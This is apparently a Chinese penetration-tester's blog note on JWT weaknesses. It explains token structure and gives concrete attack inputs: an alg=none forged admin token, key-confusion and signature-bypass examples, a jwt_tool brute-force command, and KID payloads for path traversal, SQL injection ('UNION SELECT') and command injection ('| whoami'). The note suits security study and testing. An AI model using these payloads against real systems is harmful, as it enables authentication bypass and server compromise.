JWT渗透测试小记


什么是JWT?

JWT是JSON Web Token的缩写,它是一串带有声明信息的字符串,由服务端使用加密算法对信息签名,以保证其完整性和不可伪造性。Token里可以包含所有必要的信息,这样服务端就无需保存任何关于用户或会话的信息了。JWT可用于身份认证,会话状态维持以及信息交换等任务。

JWT由三部分构成,分别称为header,payload和signature,各部分用“.”相连构成一个完整的Token,形如xxxxx.yyyyy.zzzzz。


使用一个JSON格式字符串声明令牌的类型和签名用的算法等,形如{“alg”:”HS256″, “typ”: “JWT”}。该字符串经过Base64Url编码后形成JWT的第一部分xxxxx。  Header部分:
使用一个JSON格式字符串描述所要声明的信息,分为registered,public,状语从句:private三类,形如{“name”: “John Doe”, “admin”: true},具体信息可参考RFC7519的JWT要求部分。  Payload部分:
同样的,该字符串经过Base64Url编码形成JWT的第二部分yyyyy。
将xxxxx.yyyyy使用alg指定的算法加密,然后再Base64Url编码得到JWT的第三部分zzzzz。所支持的算法类型取决于实现,但HS256和none是强制要求实现的。   Signature部分:

 当你获得一个JSON web token,如何利用它们绕过访问控制并入侵系统呢?

1、敏感信息泄露

由于Header和Payload部分是使用可逆base64方法编码的,因此任何能够看到令牌的人都可以读取数据。

要读取内容,您只需要将每个部分传递给base64解码函数,以下是一些示例:

Linux base64工具(带有-d标志用于解码):

$ echo eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 | base64 -d
 {"typ":"JWT","alg":"HS256"}

浏览器JavaScript控制台:

>> atob("eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9")
 "{"typ":"JWT","alg":"HS256"}"

Pyhton:

>>> import base64
>>> print(base64.b64decode('eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9'))
{"typ":"JWT","alg":"HS256"}

2、将算法修改为none

JWT支持将算法设定为“None”。如果“alg”字段设为“ None”,那么签名会被置空,这样任何token都是有效的。

设定该功能的最初目的是为了方便调试。但是,若不在生产环境中关闭该功能,攻击者可以通过将alg字段设置为“None”来伪造他们想要的任何token,接着便可以使用伪造的token冒充任意用户登陆网站。

示例:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJhY3Rpb24iOiJ1cGxvYWQifQ.y2k9SJDRU81ybXm-anxpD2p1N-rKekDJtJGKGJlemjY

设置 “alg”: “none”不带签名,生成Token:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJhY3Rpb24iOiJ1cGxvYWQifQ.

解构:

{"typ":"JWT","alg":"none"}.
{"user":"admin","action":"upload"}.
[No signature!]

页面是否仍然返回有效?如果页面返回有效,那么说明存在漏洞。

如何抵御这种攻击?JWT配置应该指定所需的签名算法,不要指定”none”。

3、密钥混淆攻击

JWT最常用的两种算法是HMAC和RSA。HMAC(对称加密算法)用同一个密钥对token进行签名和认证。而RSA(非对称加密算法)需要两个密钥,先用私钥加密生成JWT,然后使用其对应的公钥来解密验证。

如果将算法RS256修改为HS256(非对称密码算法=>对称密码算法)?

那么,后端代码会使用公钥作为秘密密钥,然后使用HS256算法验证签名。由于公钥有时可以被攻击者获取到,所以攻击者可以修改header中算法为HS256,然后使用RSA公钥对数据进行签名。

示例:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.I3G9aRHfunXlZV2lyJvWkZO0I_A_OiaAAQakU_kjkJM

解构:

{"typ":"JWT","alg":"HS256"}.
{"login":"ticarpi"}.
[使用HS256签名,使用RSA公钥文件作为密钥验证。]

后端代码会使用RSA公钥+HS256算法进行签名验证。

如何抵御这种攻击?JWT配置应该只允许使用HMAC算法或公钥算法,决不能同时使用这两种算法。

4、无效签名

当用户端提交请求给应用程序,服务端可能没有对token签名进行校验,这样,攻击者便可以通过提供无效签名简单地绕过安全机制。

示例:

一个很好的例子是网站上的“个人资料”页面,因为我们只有在被授权通过有效的JWT进行访问时才能访问此页面,我们将重放请求并寻找响应的变化以发现问题。

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoidGVzdCIsImFjdGlvbiI6InByb2ZpbGUifQ.FjnAvQxzRKcahlw2EPd9o7teqX-fQSt7MZhT84hj7mU

user 字段改为 admin,重新生成新 token:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJhY3Rpb24iOiJwcm9maWxlIn0._LRRXAfXtnagdyB1uRk-7CfkK1RESGwxqQCdwCNSPaI

解构:

{"typ": "JWT", "alg": "HS256"}.
{"user": "admin","action": "profile"}.
[新的签名]

将重新生成的Token发给服务端效验,如访问页面正常,则说明漏洞存在。

5、暴力破解密钥

HMAC签名密钥(例如HS256 / HS384 / HS512)使用对称加密,这意味着对令牌进行签名的密钥也用于对其进行验证。由于签名验证是一个自包含的过程,因此可以测试令牌本身的有效密钥,而不必将其发送回应用程序进行验证。

因此,HMAC JWT破解是离线的,通过JWT破解工具,可以快速检查已知的泄漏密码列表或默认密码。

工具地址:https://github.com/ticarpi/jwt_tool.git

python jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJhY3Rpb24iOiJ1cGxvYWQifQ.7ZbwdZXwfjm575fHGukkE09O8-eFY4bx-fEEBUK3XUE -C -d 1.txt

如果可以破解HMAC密钥,则可以伪造令牌中的任何内容,这个漏洞将会给系统带来非常严重的后果。

假设攻击者无法暴力破解密钥,那么他可能通过其他途径获取密码,如git信息泄露、目录遍历,任意文件读取、XXE漏洞等,从而伪造任意token签名。

6、操纵KID

KID代表“密钥序号”(Key ID)。它是JWT头部的一个可选字段,开发人员可以用它标识认证token的某一密钥。KID参数的正确用法如下所示:

{
    "alg": "HS256",
    "typ": "JWT",
    "kid": "1"         //使用密钥1验证token
}

由于此字段是由用户控制的,因此攻击者可能会操纵它并导致危险的后果。

目录遍历

由于KID通常用于从文件系统中检索密钥文件,因此,如果在使用前不清理KID,文件系统可能会遭到目录遍历攻击。这样,攻击者便能够在文件系统中指定任意文件作为认证的密钥。

"kid": "../../public/css/main.css"   //使用公共文件main.css验证token

例如,攻击者可以强行设定应用程序使用公开可用文件作为密钥,并用该文件给HMAC加密的token签名。

SQL注入

KID也可以用于在数据库中检索密钥。在该情况下,攻击者很可能会利用SQL注入来绕过JWT安全机制。

如果可以在KID参数上进行SQL注入,攻击者便能使用该注入返回任意值。

"kid":"aaaaaaa' UNION SELECT 'key';--"  //使用字符串"key"验证token

上面这个注入会导致应用程序返回字符串“ key”(因为数据库中不存在名为“ aaaaaaa”的密钥)。然后使用字符串“ key”作为密钥来认证token。

命令注入

有时,将KID参数直接传到不安全的文件读取操作可能会让一些命令注入代码流中。

一些函数就能给此类型攻击可乘之机,比如Ruby open()。攻击者只需在输入的KID文件名后面添加命令,即可执行系统命令:

"key_file" | whoami;

类似情况还有很多,这只是其中一个例子。理论上,每当应用程序将未审查的头部文件参数传递给类似system(),exec()的函数时,都会产生此种漏洞。

7、操纵头部参数(最后这一个利用方式着实没有看懂,还是自己积累不够)

除KID外,JWT标准还能让开发人员通过URL指定密钥。

JKU头部参数

JKU全称是“JWKSet URL”,它是头部的一个可选字段,用于指定链接到一组加密token密钥的URL。若允许使用该字段且不设置限定条件,攻击者就能托管自己的密钥文件,并指定应用程序,用它来认证token。

jku URL->包含JWK集的文件->用于验证令牌的JWK

JWK头部参数

头部可选参数JWK(JSON Web Key)使得攻击者能将认证的密钥直接嵌入token中。

操纵X5U,X5C URL

同JKU或JWK头部类似,x5u和x5c头部参数允许攻击者用于验证Token的公钥证书或证书链。x5u以URI形式指定信息,而x5c允许将证书值嵌入token中。

参考:https://cloud.tencent.com/developer/article/1552824--bypass     不得不说,大佬们的姿势和花样真的多,学无止境啊